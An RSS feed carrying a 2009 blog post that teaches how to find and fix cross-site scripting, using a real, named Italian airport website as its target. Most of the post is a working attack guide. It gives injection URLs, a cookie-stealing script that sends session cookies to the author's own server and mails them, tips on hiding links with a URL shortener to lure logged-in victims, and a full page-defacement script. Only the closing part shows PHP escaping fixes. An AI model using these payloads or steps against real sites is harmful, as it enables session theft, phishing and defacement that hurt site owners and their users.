<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Francesco Langiulli &#187; xss</title>
	<atom:link href="http://www.langiulli.com/tag/xss/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.langiulli.com</link>
	<description>Webmaster &#38; Photographer</description>
	<lastBuildDate>Thu, 02 Feb 2012 09:38:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>HowTo find and fix XSS vulnerability</title>
		<link>http://www.langiulli.com/2009/01/howto-find-and-fix-xss-vulnerability/</link>
		<comments>http://www.langiulli.com/2009/01/howto-find-and-fix-xss-vulnerability/#comments</comments>
		<pubDate>Tue, 20 Jan 2009 12:47:35 +0000</pubDate>
		<dc:creator>langy</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.langiulli.com/?p=535</guid>
		<description><![CDATA[Find a xss&#8217;s vulnerable website is not very difficult. In most cases can write in the search: Code: &#8220;&#62;&#60;script&#62;alert(&#8216;try_xss&#8217;);&#60;/script&#62; This script does nothing more than send an alert on the screen, if you see the alert means that the script &#8230; <a href="http://www.langiulli.com/2009/01/howto-find-and-fix-xss-vulnerability/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<div>Find a xss&#8217;s vulnerable website is not very difficult.<br />
In most cases can write in the search:<br />
<strong><br />
Code:</strong></div>
<div style="margin-left: 40px;">&#8220;&gt;&lt;script&gt;alert(&#8216;try_xss&#8217;);&lt;/script&gt;</div>
<p>This script does nothing more than send an alert on the screen, if you see the alert means that the script is taken into the site.</p>
<p>Now we try to write:</p>
<p><strong>Code:</strong></p>
<div style="margin-left: 40px;">&#8220;&gt;&lt;script&gt;alert(&#8216;document.cookie&#8217;);&lt;/script&gt; or<br />
&#8220;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;</div>
<p>If this xss works, we will see on the screen the alert within our cookies session of the site.<br />
<span id="more-535"></span></p>
<p>Or if he had not run the url just check and see how it is generated:</p>
<p><strong>Example:</strong></p>
<p>Last xss that I have discovered is on &#8220;aeroporto di Puglia&#8221; website:</p>
<p>http://www.seap-puglia.it/</p>
<p>if we try to find &#8220;&gt;&lt;script&gt;alert(&#8216;try_xss&#8217;);&lt;/script&gt; nothing happens.<br />
But now look at the url:</p>
<p><strong>Link:</strong></p>
<div style="margin-left: 40px;">http://www.seap-puglia.it/default.asp?rif=1&amp;tiporicerca=2&amp;strRicerca1=<br />
%22%3E%3Cscript%3Ealert(&#8216;try_xss&#8217;);%3C/script%3E&amp;strRicerca2=<br />
&amp;strRicerca3=&amp;sel1=AND&amp;sel2=AND&amp;RicInt1=1&amp;RicInt2=0&amp;RicInt3=0</div>
<p>we find the variable that makes it possible to search, in this case &#8220;strRicerca1&#8243;</p>
<p>Then apply the alert code directly after this variable:</p>
<p><strong>Link:</strong></p>
<div style="margin-left: 40px;">http://www.seap-puglia.it/default.asp?rif=1&amp;tiporicerca=2&amp;<br />
strRicerca1=&#8221;&gt;&lt;script&gt;alert(&#8216;try_xss&#8217;);&lt;/script&gt;</div>
<p>We will magically appear the alert.</p>
<p>Now we try to write:</p>
<p><strong>Link:</strong></p>
<div style="margin-left: 40px;">http://www.seap-puglia.it/default.asp?rif=1&amp;tiporicerca=2&amp;str<br />
Ricerca1=&#8221;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;</div>
<p><strong>Perfect! We see our cookie!</strong></p>
<p>At this time we need to know the victim cookie and then comes in a &#8220;cookie grabbers&#8221;. Cookie grabber is a script that stay on our server and it include into website url to send us cookies directly by the victim <img src='http://www.langiulli.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>If we want include a file with javascript we can write:</p>
<p><strong>Code:</strong></p>
<div style="margin-left: 40px;">&#8220;&gt;&lt;script src=&#8221;http://www.googlebig.com/cookiescript.js&#8221;&gt;&lt;/script&gt;</div>
<p>Inside the file &#8220;cookiescript.js&#8221; we write a code that displays the cookie and sends it by e-mail.</p>
<p>At this time we need to know the victim cookie and then comes in a &#8220;cookie grabbers&#8221;. Cookie grabber is a script that stay on our server and it include into website url to send us cookies directly by the victim <img src='http://www.langiulli.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><strong>Howto include a javascript file:</strong></p>
<div><strong>Code:</strong></div>
<div style="margin-left: 40px;">
<div><code>"&gt;&lt;script src="http://www.googlebig.com/cookiescript.js"&gt;&lt;/script&gt;</code></div>
</div>
<p>Into cookiescript.js we will write a code that displays the cookie and sends it by email.</p>
<p>First of all we need to create a redirect to our site including the variable of cookies.</p>
<p>then:</p>
<div><strong>Code:</strong></div>
<div style="margin-left: 40px;">
<div><code>&lt;script&gt;location.href="http://googlebig.com/cookie.php?cookie=&lt;/script&gt;</code></div>
</div>
<p>Now we create cookie.php</p>
<div><strong>Code:</strong></div>
<div style="margin-left: 40px;">
<div><code>&lt;? mail("admin@googlebig.com","Here s the cookie stolen",$_GET['cookie']; ?&gt;</code></div>
</div>
<p>Now upload cookie.php and cookiescript.js on our server and then go to:<br />
<strong><br />
</strong></p>
<div><strong>Code:</strong></div>
<div style="margin-left: 40px;">
<div><code>http://www.seap-puglia.it/default.asp?rif=1&amp;tiporicerca=2&amp;strRicerca<br />
1="&gt;&lt;script src="http://www.googlebig.com/cookiescript.js"&gt;&lt;/script&gt;</code></div>
</div>
<p>If everything works we will receiving cookie by email.</p>
<p>Now we send link to victim&#8230;we can send extended link or use a redirect service like <a href="http://www.tinyurl.com/" target="_blank">http://www.tinyurl.com</a></p>
<p>Once created redirect, in this case <a href="http://tinyurl.com/2rgry5" target="_blank">http://tinyurl.com/2rgry5</a> , we can contact user, possibly through the same site to make sure that it open the link when it&#8217;s is logged on the site.</p>
<p><strong>XSS THAT DOESN&#8217;T WORK</strong></p>
<p>If a xss does not work and therefore do not have the chance of a redirect or not displaying cookies, it can be used as a phishing page.</p>
<p>An example of code is:</p>
<div><strong>Code PHP:</strong></div>
<div style="margin-left: 40px;">
<div><code><span style="color: #007700;">var </span><span style="color: #0000bb;">title </span><span style="color: #007700;">= </span><span style="color: #dd0000;">"XSSED BY GOOGLEBIG.COM"</span><span style="color: #007700;">;var </span><span style="color: #0000bb;">bgcolor </span><span style="color: #007700;">= </span><span style="color: #dd0000;">"#000000"</span><span style="color: #007700;">;<br />
var </span><span style="color: #0000bb;">image_url </span><span style="color: #007700;">= </span><span style="color: #dd0000;">"http://www.googlebig.com/googlebig.jpg"</span><span style="color: #007700;">;<br />
var </span><span style="color: #0000bb;">text </span><span style="color: #007700;">= </span><span style="color: #dd0000;">"Langy was here <img src='http://www.langiulli.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> "</span><span style="color: #007700;">;var </span><span style="color: #0000bb;">font_color </span><span style="color: #007700;">= </span><span style="color: #dd0000;">"#FFFFFF"</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">deface</span><span style="color: #007700;">(</span><span style="color: #0000bb;">title</span><span style="color: #007700;">, </span><span style="color: #0000bb;">bgcolor</span><span style="color: #007700;">, </span><span style="color: #0000bb;">image_url</span><span style="color: #007700;">, </span><span style="color: #0000bb;">text</span><span style="color: #007700;">, </span><span style="color: #0000bb;">font_color</span><span style="color: #007700;">);<br />
function </span><span style="color: #0000bb;">deface</span><span style="color: #007700;">(</span><span style="color: #0000bb;">pageTitle</span><span style="color: #007700;">, </span><span style="color: #0000bb;">bgColor</span><span style="color: #007700;">, </span><span style="color: #0000bb;">imageUrl</span><span style="color: #007700;">, </span><span style="color: #0000bb;">pageText</span><span style="color: #007700;">, </span><span style="color: #0000bb;">fontColor</span><span style="color: #007700;">)<br />
{ </span><span style="color: #0000bb;">document</span><span style="color: #007700;">.</span><span style="color: #0000bb;">title </span><span style="color: #007700;">= </span><span style="color: #0000bb;">pageTitle</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">document</span><span style="color: #007700;">.</span><span style="color: #0000bb;">body</span><span style="color: #007700;">.</span><span style="color: #0000bb;">innerHTML </span><span style="color: #007700;">= </span><span style="color: #dd0000;">''</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">document</span><span style="color: #007700;">.</span><span style="color: #0000bb;">bgColor </span><span style="color: #007700;">= </span><span style="color: #0000bb;">bgColor</span><span style="color: #007700;">;<br />
var </span><span style="color: #0000bb;">overLay </span><span style="color: #007700;">= </span><span style="color: #0000bb;">document</span><span style="color: #007700;">.</span><span style="color: #0000bb;">createElement</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"div"</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">overLay</span><span style="color: #007700;">.</span><span style="color: #0000bb;">style</span><span style="color: #007700;">.</span><span style="color: #0000bb;">textAlign </span><span style="color: #007700;">= </span><span style="color: #dd0000;">'center'</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">document</span><span style="color: #007700;">.</span><span style="color: #0000bb;">body</span><span style="color: #007700;">.</span><span style="color: #0000bb;">appendChild</span><span style="color: #007700;">(</span><span style="color: #0000bb;">overLay</span><span style="color: #007700;">);<br />
var </span><span style="color: #0000bb;">txt </span><span style="color: #007700;">= </span><span style="color: #0000bb;">document</span><span style="color: #007700;">.</span><span style="color: #0000bb;">createElement</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"p"</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">txt</span><span style="color: #007700;">.</span><span style="color: #0000bb;">style</span><span style="color: #007700;">.</span><span style="color: #0000bb;">font </span><span style="color: #007700;">= </span><span style="color: #dd0000;">'normal normal bold 36px Verdana'</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">txt</span><span style="color: #007700;">.</span><span style="color: #0000bb;">style</span><span style="color: #007700;">.</span><span style="color: #0000bb;">color </span><span style="color: #007700;">= </span><span style="color: #0000bb;">fontColor</span><span style="color: #007700;">; </span><span style="color: #0000bb;">txt</span><span style="color: #007700;">.</span><span style="color: #0000bb;">innerHTML </span><span style="color: #007700;">= </span><span style="color: #0000bb;">pageText</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">overLay</span><span style="color: #007700;">.</span><span style="color: #0000bb;">appendChild</span><span style="color: #007700;">(</span><span style="color: #0000bb;">txt</span><span style="color: #007700;">);<br />
if (</span><span style="color: #0000bb;">image_url </span><span style="color: #007700;">!= </span><span style="color: #dd0000;">""</span><span style="color: #007700;">) {    var </span><span style="color: #0000bb;">newImg </span><span style="color: #007700;">= </span><span style="color: #0000bb;">document</span><span style="color: #007700;">.</span><span style="color: #0000bb;">createElement</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"img"</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">newImg</span><span style="color: #007700;">.</span><span style="color: #0000bb;">setAttribute</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"border"</span><span style="color: #007700;">, </span><span style="color: #dd0000;">'0'</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">newImg</span><span style="color: #007700;">.</span><span style="color: #0000bb;">setAttribute</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"src"</span><span style="color: #007700;">, </span><span style="color: #0000bb;">imageUrl</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">overLay</span><span style="color: #007700;">.</span><span style="color: #0000bb;">appendChild</span><span style="color: #007700;">(</span><span style="color: #0000bb;">newImg</span><span style="color: #007700;">);  }<br />
var </span><span style="color: #0000bb;">footer </span><span style="color: #007700;">= </span><span style="color: #0000bb;">document</span><span style="color: #007700;">.</span><span style="color: #0000bb;">createElement</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"p"</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">footer</span><span style="color: #007700;">.</span><span style="color: #0000bb;">style</span><span style="color: #007700;">.</span><span style="color: #0000bb;">font </span><span style="color: #007700;">= </span><span style="color: #dd0000;">'italic normal normal 12px Arial'</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">footer</span><span style="color: #007700;">.</span><span style="color: #0000bb;">style</span><span style="color: #007700;">.</span><span style="color: #0000bb;">color </span><span style="color: #007700;">= </span><span style="color: #dd0000;">'#DDDDDD'</span><span style="color: #007700;">; </span><span style="color: #0000bb;">footer</span><span style="color: #007700;">.</span><span style="color: #0000bb;">innerHTML </span><span style="color: #007700;">= </span><span style="color: #0000bb;">title</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">overLay</span><span style="color: #007700;">.</span><span style="color: #0000bb;">appendChild</span><span style="color: #007700;">(</span><span style="color: #0000bb;">footer</span><span style="color: #007700;">);}<br />
</span></code></div>
</div>
<p>This code must be entered in this way:</p>
<p><strong>Code:</strong></p>
<div style="margin-left: 40px;">
<div><code>http://[Sitevictim]/page.php?variable="&gt;&lt;script src="http://www.googlebig.com/script.js"&gt;&lt;/script&gt;</code></div>
</div>
<p>In this way we will see javascript that we created.</p>
<p>Even in this case we can rely on tinyurl to mask our complete url and include directly redirect.</p>
<div><strong>Code:</strong></div>
<div style="margin-left: 40px;">
<div><code>http://[Sitevictim]/page.php?variable="&gt;&lt;script src="http://tinyurl.com/xxxxx"&gt;&lt;/script&gt;</code></div>
</div>
<p>Another way to bring the victim on the page that we want is this:</p>
<div><strong>Code:</strong></div>
<div style="margin-left: 40px;">
<div><code>http://[Sitevictim]/page.php?variable="&gt;&lt;script&gt;<br />
location.href="http://www.googlebig.com/fakepage.htm&lt;/script&gt;</code></div>
</div>
<p><strong>For fix the problem of cross site injection we have to use one of the 3 functions php.</strong></p>
<p>These functions clean up the HTML tags, so is not possible inject into the code.</p>
<p>The function more used is htmlspecialchars() that transmutes all the characters &#8220;&lt;&#8221; and &#8220;&gt;&#8221; into &#8220;&amp;lt;&#8221; and &#8220;&amp;gt&#8221;.</p>
<p>Another option is htmlentities(), which replaces all the characters in the corresponding entities.</p>
<div><strong>Code PHP:</strong></div>
<div style="margin-left: 40px;">
<div><code><span style="color: #0000bb;">&lt;?<br />
</span><span style="color: #ff8000;">// This page shows an example<br />
// of the differences in output between 2 functions<br />
</span><span style="color: #0000bb;">$input </span><span style="color: #007700;">= </span><span style="color: #dd0000;">'&lt;script&gt;alert(1);&lt;/script&gt;'</span><span style="color: #007700;">;<br />
echo </span><span style="color: #0000bb;">htmlspecialchars</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$input</span><span style="color: #007700;">) . </span><span style="color: #dd0000;">'&lt;br /&gt;'</span><span style="color: #007700;">;<br />
echo </span><span style="color: #0000bb;">htmlentities</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$input</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">?&gt;</span></code></div>
</div>
<ul>
<li><strong>An example of htmlentities()</strong></li>
</ul>
<div><strong>Code PHP:</strong></div>
<div style="margin-left: 40px;">
<div><code><span style="color: #0000bb;">&lt;?php<br />
$str </span><span style="color: #007700;">= </span><span style="color: #dd0000;">"A 'quote' is &lt;b&gt;bold&lt;/b&gt;"</span><span style="color: #007700;">;<br />
echo </span><span style="color: #0000bb;">htmlentities</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$str</span><span style="color: #007700;">);<br />
echo </span><span style="color: #0000bb;">htmlentities</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$str</span><span style="color: #007700;">, </span><span style="color: #0000bb;">ENT_QUOTES</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">?&gt;</span></code></div>
</div>
<p><strong>The first show</strong> &#8211;&gt; A &#8216;quote&#8217; is &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt;<br />
<strong>The second</strong> &#8211;&gt; A <span style="color: #000000;">&amp;</span>#0<span style="color: #000000;">39</span>;quote&amp;<span style="color: #000000;">#03</span>9; is &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt;</p>
<ul>
<li><strong>An example of htmlspecialchars()</strong></li>
</ul>
<div><strong>Code PHP:</strong></div>
<div style="margin-left: 40px;">
<div><code><span style="color: #0000bb;">&lt;?php<br />
$new </span><span style="color: #007700;">= </span><span style="color: #0000bb;">htmlspecialchars</span><span style="color: #007700;">(</span><span style="color: #dd0000;">"&lt;a href='test'&gt;Test&lt;/a&gt;"</span><span style="color: #007700;">, </span><span style="color: #0000bb;">ENT_QUOTES</span><span style="color: #007700;">);<br />
echo </span><span style="color: #0000bb;">$new</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">?&gt;</p>
<p></span></code></div>
</div>
<p><strong>This show</strong> &#8211;&gt; &amp;lt;a href=&#8217;test&#8217;&amp;gt;Test&amp;lt;/a&amp;gt;<br />
The funztion strip_tags(), instead, deletes all HTML elements, except certain elements that need to specify permitted such as &lt;i&gt;, &lt;b&gt; or &lt;p&gt;.</p>
<ul>
<li><strong>An example of strip_tags()</strong></li>
</ul>
<div><strong>Code PHP:</strong></div>
<div style="margin-left: 40px;">
<div><code><span style="color: #0000bb;">&lt;?php<br />
$text </span><span style="color: #007700;">= </span><span style="color: #dd0000;">'&lt;p&gt;Test paragraph.&lt;/p&gt;&lt;!-- Comment --&gt; Other text'</span><span style="color: #007700;">;<br />
echo </span><span style="color: #0000bb;">strip_tags</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$text</span><span style="color: #007700;">);<br />
echo </span><span style="color: #dd0000;">"\n"</span><span style="color: #007700;">;<br />
</span><span style="color: #ff8000;">// allow &lt;p&gt;<br />
</span><span style="color: #007700;">echo </span><span style="color: #0000bb;">strip_tags</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$text</span><span style="color: #007700;">, </span><span style="color: #dd0000;">'&lt;p&gt;'</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">?&gt;</span></code></div>
</div>
<p>Now that we know at least that there are these functions, we will to apply into the code when we find a xss in our web application.</p>
<p>I have recently found a xss on my website in Video section of GoogleBig which is a plugin of Mybb forum, I have placed a piece of code to make the idea of how I had to apply the function to fix the search bug.</p>
<p>First of all I have found the php page in question: <em>search.php</em></p>
<p>Now let&#8217;s look for the portion of code that makes available research, query and output the result of the query:<br />
<strong><br />
</strong></p>
<div><strong>Code PHP:</strong></div>
<div style="margin-left: 40px;">
<div><code><span style="color: #007700;">function </span><span style="color: #0000bb;">search</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$query</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$page</span><span style="color: #007700;">)<br />
{<br />
global </span><span style="color: #0000bb;">$db</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$bgcolor2</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$bgcolor4</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$sitename</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$io_db</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$module_url</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$list_page_items</span><span style="color: #007700;">, </span><span style="color: #0000bb;">$hm_index</span><span style="color: #007700;">;<br />
</span><span style="color: #0000bb;">$option </span><span style="color: #007700;">= </span><span style="color: #0000bb;">trim</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$option</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">$query </span><span style="color: #007700;">= </span><span style="color: #0000bb;">trim</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$query</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">$query </span><span style="color: #007700;">= </span><span style="color: #0000bb;">FixQuotes</span><span style="color: #007700;">(</span><span style="color: #0000bb;">nl2br</span><span style="color: #007700;">(</span><span style="color: #0000bb;">filter_text</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$query</span><span style="color: #007700;">)));<br />
</span><span style="color: #0000bb;">$db</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">escape_string</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$query</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">$db</span><span style="color: #007700;">-&gt;</span><span style="color: #0000bb;">escape_string</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$option</span><span style="color: #007700;">);<br />
</span><span style="color: #0000bb;">alpha_search</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$query</span><span style="color: #007700;">);<br />
...<br />
</span></code></div>
</div>
<p>In this case the variable that passes the values is $query then we apply the function htmlentities():</p>
<div><strong>Code PHP:</strong></div>
<div>
<div dir="ltr"><code><span style="color: #0000bb;"> $query </span><span style="color: #007700;">= </span><span style="color: #0000bb;">FixQuotes</span><span style="color: #007700;">(</span><span style="color: #0000bb;">nl2br</span><span style="color: #007700;">(</span><span style="color: #0000bb;">filter_text</span><span style="color: #007700;">(</span><span style="color: #0000bb;">htmlentities</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$query</span><span style="color: #007700;">))));<br />
</span></code></div>
</div>
<p>If you have problems you can post here, or consult the manuals on these 3 php functions that we saw:</p>
<p><a href="http://php.net/manual/en/function.htmlentities.php" target="_blank">http://php.net/htmlentities</a><br />
<a href="http://php.net/manual/en/function.htmlspecialchars.php" target="_blank">http://php.net/htmlspecialchars</a><br />
<a href="http://it.php.net/manual/en/function.strip-tags.php" target="_blank">http://php.net/strip_tags</a></p>
<p><strong>This guide was created for information purposes only.</strong></p>
<p>If u have found a xss u must post it here <a href="http://www.xssed.com/submit" target="_blank">http://www.xssed.com/submit</a> and u must contact the vulnerable site&#8217;s admin.</p>
<p><strong>My Xssed websites:</strong> <a href="http://xssed.com/archive/author=Langy/">http://xssed.com/archive/author=Langy/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.langiulli.com/2009/01/howto-find-and-fix-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

